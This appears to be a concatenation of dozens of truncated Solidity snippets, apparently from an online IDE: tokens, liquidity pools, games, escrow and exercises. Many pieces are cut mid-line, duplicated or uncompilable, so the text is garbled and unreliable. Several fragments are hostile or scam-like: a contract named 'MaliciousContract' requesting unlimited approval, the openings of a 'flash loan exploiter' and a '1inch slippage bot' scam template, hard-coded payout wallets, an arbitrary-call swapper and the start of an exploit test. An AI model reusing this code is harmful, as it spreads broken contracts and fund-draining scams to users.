pragma solidity ^0.4.0;
contract JointAccountNetwork {
// User structure to store user details
struct User {
uint userId;
string userName;
bool isRegistered;
}
// Joint Account structure
struct JointAccount {
uint user1Id;
uint user2Id;
uint user1Balance;
uint user2Balance;
bool isActive;
}
// Mapping to store users
mapping(uint => User) public users;
// Mapping to store joint accounts between users
mapping(bytes32 => JointAccount) public jointAccounts;
// Mapping to track user connections
mapping(uint => uint[]) public userConnections;
// Events for logging
event UserRegistered(uint userId, string userName);
event AccountCreated(uint user1Id, uint user2Id);
event AmountSent(uint fromUserId, uint toUserId, uint amount);
event AccountClosed(uint user1Id, uint user2Id);
// Register a new user
function registerUser(uint userId, string userName) public {
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract LiquidityPool {
IERC20 public token0;
IERC20 public token1;
uint256 public reserve0;
uint256 public reserve1;
constructor(address _token0, address _token1) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
// Initial liquidity (needs to be added separately)
// This example omits the initial liquidity addition for brevity.
}
function addLiquidity(uint256 _amount0, uint256 _amount1) external {
require(_amount0 > 0 && _amount1 > 0, "Amounts must be greater than zero");
// Transfer tokens to the contract
token0.transferFrom(msg.sender, address(this), _amount0);
token1.transferFrom(msg.sender, address(this), _amount1);
// Update reserves
reserve0 += _amount0;
reserve1 += _amount1;
}
function swap(address _tokenIn, uint256 _amountIn, address _tokenOut, uint256 _amountOutMin) external {
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LiquidityPool is Ownable {
// Token addresses
address public tokenA;
address public tokenB;
// Reserves
uint256 public reserveA;
uint256 public reserveB;
// Constant product formula (k)
uint256 public k;
// Events
event Swap(address indexed user, address indexed tokenIn, uint256 amountIn, address indexed tokenOut, uint256 amountOut);
event AddLiquidity(address indexed user, uint256 amountA, uint256 amountB);
event RemoveLiquidity(address indexed user, uint256 amountA, uint256 amountB);
constructor(address _tokenA, address _tokenB) {
require(_tokenA != address(0) && _tokenB != address(0), "Invalid token addresses");
tokenA = _tokenA;
tokenB = _tokenB;
}
function swap(address _tokenIn, uint256 _amountIn) external {
require(_tokenIn == tokenA || _tokenIn == tokenB, "
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MyToken is ERC20 {
constructor(uint256 initialSupply) ERC20("MyToken", "MTK") {
_mint(msg.sender, initialSupply);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;
contract AdivinaElNumero {
uint public numeroGanador;
uint public cantidadMinimaApuesta;
address public dueno;
mapping(address => uint) public apuestas;
modifier soloDueno() {
require(msg.sender == dueno); // No se usa el mensaje de error en 0.4.x
_;
}
// Constructor para Solidity 0.4.x
function AdivinaElNumero(uint _cantidadMinimaApuesta) public {
dueno = msg.sender;
cantidadMinimaApuesta = _cantidadMinimaApuesta;
// Generamos el número ganador usando keccak256
bytes32 hash = keccak256(block.timestamp, block.difficulty);
numeroGanador = uint(hash) % 100 + 1; // Número entre 1 y 100
}
function apostar(uint _numero) public payable {
require(msg.value >= cantidadMinimaApuesta); // Sin mensaje de error
require(_numero >= 1 && _numero <= 100); // Sin mensaje de error
apuestas[msg.sender] = _numero;
}
function verif
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;
contract AdivinaElNumero {
uint public numeroGanador;
uint public cantidadMinimaApuesta;
address public dueno;
mapping(address => uint) public apuestas;
modifier soloDueno() {
require(msg.sender == dueno); // No se usa el mensaje de error en 0.4.x
_;
}
// Constructor para Solidity 0.4.x
function AdivinaElNumero(uint _cantidadMinimaApuesta) public {
dueno = msg.sender;
cantidadMinimaApuesta = _cantidadMinimaApuesta;
// Generamos el número ganador usando keccak256
bytes32 hash = keccak256(block.timestamp, block.difficulty);
numeroGanador = uint(hash) % 100 + 1; // Número entre 1 y 100
}
function apostar(uint _numero) public payable {
require(msg.value >= cantidadMinimaApuesta); // Sin mensaje de error
require(_numero >= 1 && _numero <= 100); // Sin mensaje de error
apuestas[msg.sender] = _numero;
}
function verif
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;
contract PizzaGame {
// Variables para almacenar ingredientes
uint public cheeseStock = 10;
uint public doughStock = 10;
uint public tomatoStock = 10;
// Precio de cada pizza (en wei, la unidad de menor valor de Ethereum)
uint public pizzaPrice = 0.01 ether;
// Dirección del dueño del contrato
address public owner;
// Mapeo para el balance de pizzas de cada jugador
mapping(address => uint) public pizzaBalance;
// Evento para registrar cada pedido
event PizzaOrdered(address indexed player, uint quantity);
// Constructor para inicializar el dueño del contrato
function PizzaGame() public {
owner = msg.sender;
}
// Modificador para restringir funciones solo al dueño
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Función para pedir una pizza
function orderPizza(uint quantity) public payable {
require(quantity > 0);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GreekMythologyGame is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
struct Hero {
string name;
uint256 strength;
uint256 agility;
uint256 defense;
uint256 rarity; // 1 a 5, donde 5 es muy raro
}
// Mapeo de héroes
mapping(uint256 => Hero) public heroes;
// Mapeo de héroes por jugador
mapping(address => uint256[]) public playerHeroes;
// Eventos
event NewHero(address indexed owner, uint256 heroId);
event BattleResult(address indexed winner, uint256 winnerHeroId, uint256 loserHeroId);
// Constructor
constructor() ERC721("GreekHeroes", "GHERO") {}
// Función para crear un héroe mitológico
function createHero(
string mem
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
} i
pragma solidity ^0.4.18;
contract Bank {
// Mapping to store balances of each account
mapping(address => uint256) private balances;
// Event to log deposits
event Deposit(address indexed account, uint256 amount);
// Event to log withdrawals
event Withdraw(address indexed account, uint256 amount);
// Function to deposit money
function deposit() public payable {
require(msg.value > 0);
balances[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
// Function to withdraw money
function withdraw(uint256 amount) public {
require(amount > 0);
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
msg.sender.transfer(amount);
Withdraw(msg.sender, amount);
}
// Function to check the balance of the caller
function getBalance() public view returns (uint256) {
return balances[msg.sender];
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Senorita is ERC20, Ownable {
uint256 public constant INITIAL_SUPPLY = 1_000_000_000_000 * (10 ** 18);
constructor() ERC20("Senorita", "SEN") Ownable(msg.sender) {
_mint(msg.sender, INITIAL_SUPPLY);
_allocateInitialSupply();
}
function _allocateInitialSupply() internal {
// Allocation percentages
uint256 liquidityAllocation = (INITIAL_SUPPLY * 50) / 100;
uint256 communityAllocation = (INITIAL_SUPPLY * 30) / 100;
uint256 developmentAllocation = (INITIAL_SUPPLY * 10) / 100;
uint256 founderAllocation = (INITIAL_SUPPLY * 10) / 100;
// Distribute allocations to your wallet address
address recipient = 0x158082B44b3d2A6b8EDf3978ab60ac3E2997133a;
_transfer(msg.sender, recipient, liquidityAllocation);
_transfer(msg.sender, recipient, communi
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract SimpleToken {
string public name = "SimpleToken";
string public symbol = "STK";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// Constructor that sets the initial supply
constructor(uint256 _initialSupply) {
totalSupply = _initialSupply * (10 ** uint256(decimals));
balanceOf[msg.sender] = totalSupply; // Assign all tokens to the contract's creator
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0), "Cannot transfer to the zero address");
require(balanceOf[msg.sender] >= _value, "Insufficient balance");
balanceOf[msg.sender] -= _v
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
_transferOwnership(initialOwner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MODX is Ownable {
string public name = "MODX";
string public symbol = "MODX";
uint8 public decimals = 1
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
0x654A32542A84bEA7D2c2C1A1Ed1AAAf26888E6bD//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract LiquidityPool {
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor(address _factory, address _token0,
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract LiquidityPool {
mapping(address => uint256) public reserves;
// Event emitted when a swap occurs
event Swap(
address indexed sender,
address indexed tokenIn,
address indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
// Function to add liquidity to the pool
function addLiquidity(address _token, uint256 _amount) public {
require(_amount > 0, "Amount must be greater than 0");
// Transfer tokens from the user to the contract
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
// Update reserves
reserves[_token] += _amount;
}
// Function to swap tokens
function swap(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) public returns (uint256 amountOut) {
require(
reserves[_tokenIn] > 0 && reserves[_tokenOut] > 0,
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MyToken {
string public name = "MyToken";
string public symbol = "MTK";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(uint256 initialSupply) {
totalSupply = initialSupply * (10 ** uint256(decimals));
balanceOf[msg.sender] = totalSupply; // منح جميع الرموز للمنشئ
}
function transfer(address _to, uint256 _value) public retur
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract HelloWorld {
string public greeting = "Hello, World!";
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Secp256r1Verifier {
// Address of the precompiled secp256r1 contract (0x8001)
address constant SECP256R1_PRECOMPILE = address(0x8001);
/**
* @dev Verifies a secp256r1 signature for the IoT device data.
* @param timestamp The timestamp of the IoT message.
* @param latitude The latitude in the message.
* @param longitude The longitude in the message.
* @param temperature The temperature in the message.
* @param r The r part of the signature (32 bytes).
* @param s The s part of the signature (32 bytes).
* @param pubKey The public key of the IoT device that signed the message (encoded as an (x, y) point).
* @return bool indicating whether the signature is valid.
*/
function verifyIoTData(
string memory timestamp,
string memory latitude,
string memory longitude,
string memory temperature,
bytes32 r,
bytes32 s,
bytes memory pubK
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/*
Website: https://www.ethereumcredit.io/
Telegram: https://t.me/+7LG4zxA4DldhZWVh
X/Twitter: https://x.com/CreditEthereum
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spe
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract GlobalBetsClone {
struct Option {
string name;
uint256 price;
uint256 pool;
}
Option[] public options;
uint256 public totalPool;
uint256 public constant PRECISION = 1e18;
string public description;
IERC20 public usdc;
mapping(address => mapping(uint256 => uint256)) public userShares;
uint256 public winningOptionIndex;
bool public winnerDeclared = false;
address public admin;
bool private initialized; // To prevent re-initialization
event SharesBought(address indexed user, uint256 indexed optionIndex, uint256 sharesBought, uint256 amountSpent);
event SharesSold(address indexed user, uint256 indexed optionIndex, uint256 sharesSold, uint256 amountReceived);
event PricesUpdated(uint256[] newPrices, uint256 totalPool);
function initialize(
address _usdcAddress,
string memory _descript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC20/ERC20Upgradeable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/OwnableUpgradeable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/proxy/utils/Initializable.sol";
contract GoldStableContract is Initializable, ERC20Upgradeable, OwnableUpgradeable {
// Initializer function to replace constructor for upgradeable contracts
function initialize(uint256 _initialSupply) public initializer {
__ERC20_init("GoldStableCoin", "24K"); // Initialize the ERC20 token
__Ownable_init(msg.sender); // Initialize ownership with msg.sender as owner
_mint(msg.sender, _initialSupply * 10**decimals()); // Mint initial supply of tokens
}
// Mint new tokens (onlyOwner modifier ensures only the contract owner can
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
Task: Implement Efficient Data Packing using Bitwise Operations
Objective:
Implement a function that packs three different-sized unsigned integers into a single uint256
using bitwise operations in Yul.
Requirements:
1. Implement a function `pack(uint32 a, uint64 b, uint160 c)` that packs these values into a single uint256.
2. Use Yul in an assembly block for the implementation.
Expected Results:
- pack(0x12345678, 0x1234567890ABCDEF, 0x1234567890ABCDEF1234567890ABCDEF12345678)
should return 0x1234567890ABCDEF1234567890ABCDEF123456781234567890ABCDEF12345678
Fill in the Yul code in the assembly block below to implement the pack function.
*/
contract Packing {
function pack(uint32 a, uint64 b, uint160 c) public pure returns (uint256 result) {
assembly {
// Implement your Yul code here
}
}
pragma solidity 0.8.10;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
/*
* 1/ some scenario is broken
* 2/ not secure
* 3/ not gas efficient
*/
contract BrokenSwapper {
IAugustus immutable augustus;
constructor(IAugustus _augustus) {
augustus = _augustus;
}
// swap ERC20 tokens and pure ETH
function swapTokensWithParaSwap(
IERC20 srcToken,
IERC20 destToken,
uint256 amount,
bytes memory augustusCalldata // trusted data to pass down to augutus contract
) external {
srcToken.transferFrom(msg.sender, address(this), amount);
srcToken.approve(augustus, amount);
address(augustus).call(augustusCalldata); // swap ERC20 and
// SPDX - License-Identifier:MIT
pragma solidity^0.8.0;
contract MemoryHardAlgorithm{
uint public difficulty; //difficulty level for the memory-hard proof
uint public iterations; //Number of iterations for memory- hard Computations
constructor(uint_difficulty,uint_iterations){
difficulty=_difficulty;
iterations=_iterations;
}
// Function to start the memory-hard proof-of-work process
function memoryHardWork(bytes32 seed) external view returns(bytes32){
//create a dynamic array to store memory-hard proof values
bytes32[] memoryProofArray=new bytes32[](iterations);
// Seed the array with intial value(pseudo random)
proofArray[0]=keccak256(abi.encodPacked(block.timestamp,block.difficulty,seed));
//iteratively populate the array
for(uint=1;i<iterations;i++){
//create a new value based on the previous one and block information
proofArray[i]=keccak256(abi,encodePacked(proofArray[i-1],block,timestamp,block difficulty));
}
//combine all proof values to create the final proof
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract MaliciousContract {
address public owner;
// Set the deployer of the contract as the owner
constructor() {
owner = msg.sender;
}
// Function to request unlimited approval for the contract
function requestUnlimitedApproval(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
// Request approval to spend an unlimited amount of tokens
token.approve(address(this), type(uint256).max);
}
// Function to withdraw tokens to the owner's address
function withdrawTokens(address tokenAddress) external {
require(msg.sender == owner, "Not authorized");
IERC20 token = IERC20(tokenAddress
pragma solidity 0.8.10;
interface IAugustus {
function getTokenTransferProxy() external view returns (address);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
/*
* 1/ some scenario is broken
* 2/ not secure
* 3/ not gas efficient
*/
contract BrokenSwapper {
IAugustus immutable augustus;
constructor(IAugustus _augustus) {
augustus = _augustus;
}
// this should allow swaps with ERC20 tokens and native
function swapTokensWithParaSwap(
IERC20 srcToken,
IERC20 destToken,
uint256 amount,
bytes memory augustusCalldata // trusted data to pass down to augutus contract
) external {
srcToken.transferFrom(msg.sender, address(this), amount
pragma solidity ^0.5.0;
contract BnBFlashLoan_Exploiter {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
FlashLoan_mgr _mgr;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
_mgr = new FlashLoan_mgr();
address tokenAddress = _mgr.getTokenAddress();
}
function() external payable {}
function action() public payable {
// Breakdown of flashloan mgr logic
// Submit token to BSC blockchain
address tokenAddress = _mgr.submitToken(tokenName, tokenSymbol);
// List the token on PancakeSwap
_mgr.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
// Get BNB Loan from Multiplier-Finance
uint256 loanAddress = _mgr.takeFlashLoan(loanAmount);
// Convert half BNB to DAI
_mgr.pancakeDAItoBNB(loanAmount / 2);
// Create BNB and DAI pairs for our token & Provide liquidity
string memory bnb
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleEscrow {
address public escrowAgent; // Treuhänder
address payable public seller;
address payable public buyer;
enum State { AWAITING_PAYMENT, AWAITING_DELIVERY, COMPLETE, REFUNDED }
State public currentState;
constructor(address payable _seller, address payable _buyer) {
escrowAgent = msg.sender;
seller = _seller;
buyer = _buyer;
currentState = State.AWAITING_PAYMENT;
}
// Einzahlung durch den Käufer
function deposit() external payable {
require(msg.sender == buyer, "Nur der Käufer kann einzahlen");
require(currentState == State.AWAITING_PAYMENT, "Zahlung nicht erwarte
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleEscrow {
address public escrowAgent; // Treuhänder
address payable public seller;
address payable public buyer;
enum State { AWAITING_PAYMENT, AWAITING_DELIVERY, COMPLETE, REFUNDED }
State public currentState;
constructor(address payable _seller, address payable _buyer) {
escrowAgent = msg.sender;
seller = _seller;
buyer = _buyer;
currentState = State.AWAITING_PAYMENT;
}
// Einzahlung durch den Käufer
function deposit() external payable {
require(msg.sender == buyer, "Nur der Käufer kann einzahlen");
require(currentState == State.AWAITING_PAYMENT, "Zahlung nicht erwarte
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleEscrow {
address public escrowAgent; // Treuhänder
address payable public seller;
address payable public buyer;
enum State { AWAITING_PAYMENT, AWAITING_DELIVERY, COMPLETE, REFUNDED }
State public currentState;
constructor(address payable _seller, address payable _buyer) {
escrowAgent = msg.sender;
seller = _seller;
buyer = _buyer;
currentState = State.AWAITING_PAYMENT;
}
// Einzahlung durch den Käufer
function deposit() external payable {
require(msg.sender == buyer, "Nur der Käufer kann einzahlen");
require(currentState == State.AWAITING_PAYMENT, "Zahlung nicht erwartet");
req
pragma solidity ^0.4.18;
contract Test {
function getResult() public pure returns(uint product, uint sum) {
uint a = 1;
uint b = 2;
product = a * b;
sum = a + b;
}
}
pragma solidity ^0.4.18;
contract SolidityTest {
function getResult() public pure returns (string memory) {
uint a = 1;
uint b = 2;
uint result = a + b;
return integerToString(result);
}
function integerToString(uint _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len = 0;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
}
pragma solidity ^0.4.17;
contract Auction {
// Data
// Estructura para mantener los detalles del ítem
struct Item {
uint itemId; // id del ítem
uint[] itemTokens; // tokens apostados por el ítem
}
// Estructura para mantener los detalles de las personas
struct Person {
uint remainingTokens; // tokens restantes con el postor
uint personId; // también sirve como tokenId
address addr; // dirección del postor
}
mapping(address => Person) tokenDetails; // dirección a persona
Person [4] bidders; // Array que contiene 4 objetos Person
Item [3] public items; // Array que contiene 3 objetos Item
address[3] public winners; // Array para la dirección de los ganadores
address public beneficiary; // propietario del contrato inteligente
uint bidderCount = 0; // contador
// Funciones
function Auction() public payable { // constructor
// Parte 1 Tarea 1. Inicializa
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//To modify a KIP-20 token contract for the Klaytn blockchain to include fee handling and update the ownership address, you can use the following implementation:
### KIP-20 Token Contract with Fee Handling
1. **Update Ownership Address**: Replace the current ownership address with your new address.
2. **Add Fee Handling Mechanism**: Implement a function to deduct a fee from each token transaction.
Here’s an example of a KIP-20 token contract with these modifications:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
interface IKIP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Nonces.sol
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides tracking nonces for addresses. Nonces will only increment.
*/
abstract contract Nonces {
/**
* @dev The nonce used for an `account` is not the expected current nonce.
*/
error InvalidAccountNonce(address account, uint256 currentNonce);
mapping(address account => uint256) private _nonces;
/**
* @dev Returns the next unused nonce for an address.
*/
function nonces(address owner) public view virtual returns (uint256) {
return _nonces[owner];
}
/**
* @dev Consumes a nonce.
*
* Returns the current value and increments nonce.
*/
function _useNonce(address owner) internal virtual returns (uint256) {
// For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be
// decremented or res
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
contract OneinchSlippageBot {
//string public tokenName;
//string public tokenSymbol;
uint liquidity;
string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
event Log(string _msg);
constructor() public {
//tokenSymbol = _mainTokenSymbol;
//tokenName = _mainTokenName;
}
receive() external payable {}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// using OpenZeppelin libraries
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract Einstein is ERC721URIStorage, Ownable {
/**
From the `Counters` docs:
Provides counters that can only be incremented, decremented or reset.
This can be used e.g. to track the number
of elements in a mapping, issuing ERC721 ids, or counting request ids.
Include with `using Counters for Counters.Counter;`
*/
using Counters for Counters.Counter;
// tracks the number of minted NFTs
Counters.Counter private _tokenIds;
// calling ERC721 constructor
constructor() ERC721("Einstein NFT", "EIN") {}
// mints new NFTs. Can be called only by the deployer (s/c owner)
function mintNFT(address recipient, string memory tokenURI)
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./ERC20.sol";
import "./Ownable.sol";
import "./Math.sol";
contract AYRA is ERC20, Ownable {
using Math for uint256;
address public walletOrigin = 0xE9fe09A55377f760128800e6813F2E2C07db60Ad;
address public walletMarketProtection = 0x0bD042059368389fdC3968d671c40319dEb39F2c;
address public walletFoundingPartners = 0x454d1252EC7c1Dc7E4D0A92A84A3Da2BD158b1D7;
address public walletBlockedFoundingPartners = 0x8f7F2243A34169931741ba7eB257841C639Bc165;
address public walletSocialPartners = 0xe307d66905D10e7e51B0BFb12E7e64C876a04215;
address public walletProgrammersAndPartners = 0xc21713ef49a48396c1939233F3B24E1c4CCD09a4;
address public walletPrivateInvestors = 0x252Fa9eD5F51e3A9CF1b1890f479775eFeaa653d;
address public walletAidsAndDonations = 0x1EEffDA40C880a93E19ecAF031e529C723072e51;
address public operatorAddress;
uint256 private _maxBurnAmount = 100_000_000_000_000 * (10 ** decimals());
uint256
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract NFTPresale is ERC721, Ownable {
IERC20 public erc20Token;
uint256 public _nextTokenId;
uint256 public price;
uint256 public priceInNative;
constructor(address initialOwner, address _erc20Token, uint256 _price)
ERC721("NAME_OF_TOKEN", "NOT")
Ownable(initialOwner)
{
erc20Token = IERC20(_erc20Token);
price = _price;
}
function _safeMint(address to) internal {
uint256 tokenId = _nextTokenId++;
_safeMint(to, tokenId);
}
function preSaleMintWithERC20Token() public onlyOwner {
// transfer erc20
require(erc20Token.transferFrom(msg.sender, address(this), price), "ERC20: transfer failed");
// mint nft
_safeMint(msg.sender);
}
function preSaleMintWithNativeToken()
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint2
pragma solidity ^0.4.18;
contract pop{
string public constant h= "danish";
uint age=19;
function coursetro() public {
uint age=13;
}
function setter(string h, uint age) public {}
function getter() public constant returns (string, uint){
return(h,age);}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
interface IPool {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external;
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
interface IRouterExp {
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes memory data
) external;
}
interface IVault {
function deposit (uint256 deposit0,
uint256 deposit1,
address to
) external;
function withdraw(
uint256,
address
) external returns (uint256, uint256);
}
contract IchiTest is Test {
IPool pool = IPool(0x1a34EaBbe928Bf431B679959379b2225d60D9cdA);
